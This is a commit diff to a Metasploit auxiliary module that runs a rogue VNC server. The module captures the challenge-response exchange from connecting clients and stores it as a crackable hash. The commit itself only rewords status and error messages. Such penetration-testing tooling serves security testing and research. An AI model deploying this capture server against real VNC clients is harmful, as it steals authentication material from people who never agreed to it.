Improve outputs
parent
3253929555
commit
afd314701e
|
@ -46,6 +46,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error("CHALLENGE syntax must match 00112233445566778899AABBCCDDEEFF")
|
||||
return
|
||||
end
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
@ -66,6 +67,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
data = c.get_once
|
||||
return if not data
|
||||
|
||||
peer = "#{c.peerhost}:#{c.peerport}"
|
||||
|
||||
if data =~ /^RFB (.*)\n$/
|
||||
@state[c][:proto] = $1
|
||||
if @state[c][:proto] == "003.007"
|
||||
|
@ -88,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
elsif @state[c][:chall]
|
||||
c.put [0x00000001].pack("N")
|
||||
c.close
|
||||
print_status("VNC LOGIN: #{@state[c][:name]} Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}")
|
||||
print_status("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}")
|
||||
hash_line = "$vnc$*#{@state[c][:chall].unpack("H*")[0]}*#{data.unpack('H*')[0]}"
|
||||
report_auth_info(
|
||||
:host => c.peerhost,
|
||||
|
@ -110,7 +113,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# we have got the protocol sorted out and have offered the VNC sectype (2)
|
||||
elsif @state[c][:proto] == "003.007"
|
||||
if ( data.unpack("C")[0] != 2 )
|
||||
print_error("Error: #{@state[c][:name]} Client chose a sectype that was not offered! #{data.unpack("H*")}")
|
||||
print_error("#{peer} - #{@state[c][:name]} sectype not offered! #{data.unpack("H*")}")
|
||||
c.close
|
||||
return
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue